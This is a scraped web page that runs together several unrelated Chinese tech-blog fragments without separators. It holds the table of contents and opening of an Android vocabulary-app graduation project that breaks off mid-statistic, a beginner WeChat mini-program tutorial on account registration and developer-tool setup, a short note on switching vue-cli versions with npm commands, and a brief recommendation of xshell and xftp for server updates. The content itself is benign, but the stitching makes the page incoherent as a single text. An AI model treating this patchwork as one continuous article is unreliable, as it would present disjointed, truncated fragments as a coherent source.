参考地址:http://www.ysxbohui.com/article/17
目录
1、关于本课题
2、开发平台
3、系统分析
3.1 国外安卓应用发展的现状
3.2 国内安卓应用发展的现状
3.3 系统构建目标分析
3.4 系统构建功能分析
3.4.1 系统的总体架构
3.4.2 系统功能模块
3.4.3 应用功能规划图
4、系统设计
4.1 前台背单词展示子系统详细设计
4.1.1 复习功能模块
4.1.2 统计功能模块
4.1.3 词本功能模块
4.1.4 设置功能模块
4.2 后台数据管理子系统详细设计
5、数据库设计
5.1 表汇总
5.1.1 数据库表汇总表
5.2 表明细
6、源代码
1、关于本课题 本次设计主要是对大学时间所学的 Android 技术开发 ,数据库等课程的一次巩固复习及应用。本设计根据用户确定的单词本以及在设置中自定义的学习量,要求系统有计划地每天帮用户安排单词复习;用户可以自由选择更换单词本以及重置学习记录;可以通过各大翻译平台提供的 API 查找单词例句,可以了解自己的学习记录和记忆情况,可以自定义系统主题;
2、开发平台 本课题的开发平台为:
操作系统:Microsoft Windows 10
程序语言:Java,XML
IDE 工具:AndroidStudio 4.1.1
IDE 插件:Database browser
数据库服务器:SQLite
其他工具:Android 7.0 以上系统的智能手机或者模拟器
3、系统分析 本章主要对系统构建进行较为详细的需求分析、目标分析和功能分析。
3.1 国外安卓应用发展的现状 据调查,2019 年美国的互联网用户规模已不低于 2.9 亿人,互联网使用率达到 89.
🏍️作者简介:大家好,我是亦世凡华、渴望知识储备自己的一名在校大学生
🛵个人主页:亦世凡华、
🛺系列专栏:微信小程序
🚲座右铭:人生亦可燃烧,亦可腐败,我愿燃烧,耗尽所有光芒。
👀引言
⚓经过web前端开发的学习,相信大家对于前端开发有了一定深入的了解,今天我开设了微信小程序专栏,主要想从移动端开发方向进一步发展,而对于我来说写移动端博文的第一站就是小程序开发,希望看到我文章的朋友能对你有所帮助。
目录
🔥小程序简介
🏍️什么是小程序?
🛵小程序于与普通网页开发区别
🐒1、运行环境不同
🐶2、API不同
🐕3、开发模式不同
🛺小程序官方组件展示
🔥首次创建小程序的流程
🏍️注册小程序开发账号
🛵安装开发者工具
🐒下载
🐶安装
🐕扫描登录
🐩配置开发者工具
🛺创建小程序
🔥小程序简介 在写小程序之前我们应该了解以下内容,知道自己开发的是什么,又如何开发。
🏍️什么是小程序? 小程序是一种不需要下载安装即可使用的应用,它实现了应用“触手可及”的梦想,用户扫一扫或者搜一下即可打开应用。也体现了“用完即走”的理念,用户不用关心是否安装太多应用的问题。应用将无处不在,随时可用,但又无需安装卸载。
🛵小程序于与普通网页开发区别 🐒1、运行环境不同 网页运行在浏览器环境中;小程序运行在微信环境中。
🐶2、API不同 由于运行环境的不同,所以小程序中,无法调用DOM和BOM的API。但是小程序中可以调用微信环境提供的各种API,例如:
🏃地理位置 🏃扫码 🏃支付
🐕3、开发模式不同 网页的开发模式:浏览器 + 代码编辑器
小程序有自己的一套标准开发模式:
🍁申请小程序开发账号 🍂安装小程序开发者工具 🍃创建和配置小程序项目
🛺小程序官方组件展示 日常开发中我们可以会遇到一些不熟悉的标签组件,我们可以通过查看微信官方文档,点击体验小程序扫码即可查看里面相关功能的介绍,也能去体验一下小程序给我们提供的哪些能力。
🔥首次创建小程序的流程 如果你是第一次开始创建小程序,那么请遵循以下几个步骤一步一步开始。
🏍️注册小程序开发账号 使用浏览器打开 https://mp.weixin.qq.com/ 网址,点击右上角的“立即注册”即可进入到小程序开发账号的注册流程,其过程如下:
首先登录网站,点击立即注册
跳转页面后选择小程序
进入小程序之后,对个人信息账号密码进行一个填写
填写之后在填写的邮箱中确认注册信息,注意,作为学习者我们必须选择主题类型为个人。
填写之后我们就可以进入到微信小程序的管理后台 获取小程序的AppID(创建小程序项目的时候会用到)。
🛵安装开发者工具 微信开发者工具是官方推荐使用的小程序开发工具,它提供的主要功能如下:
🍇快速创建小程序项目
🍈代码的查看和编辑
🍉对小程序功能进行调试
🍊小程序的预览和发布
🐒下载 推荐下载和安装最新的稳定版的微信开发者工具,下载链接如下:(根据自己的电脑配置选择相应的版本)
https://developers.weixin.qq.com/miniprogram/dev/devtools/stable.html
🐶安装 傻瓜式安装就行,建议不装C盘,我C盘不大
🐕扫描登录 安装完成,打开之后会出现一个二维码,用自己注册管理的微信扫码登录即可进行创建小程序。
vue-cli更换版本 vue更换版本 最近要写个小项目,用到了vue,于是安装了vue cli,但是在使用过程中发现最新的版本好像不太好用,想换成旧版本。
查看当前版本 通过vue -V可以查看当前版本,现有版本是5.0.8,如图所示。
然后卸载掉当前版本,使用命令npm uninstall -g @vue/cli即可。
安装新版本 然后使用命令npm i -g @vue/cli@5.0.4安装想要更换的版本即可。其中,第二个@后面跟的是版本号。
涉及的命令如下,可以直接复制 1.下载当前版本
npm uninstall -g @vue/cli 2.安装新版本
npm install -g @vue/cli@版本号 3.查看当前版本号
vue -V
常用的服务器发布更新工具很多,这里说下目前公司使用的工具,
推荐使用xshell + xftp
xshell:有收费的专业版,也有免费的,免费的有连接限制,界面如下:
公司服务器使用的是linux。
xftp:类似的软件有很多,可以自己查找下载,主要用来上传文件代码到服务器,使用可视化的操作,简单明了。界面如下:
一般更新完代码及数据库后,重启前后端服务即可。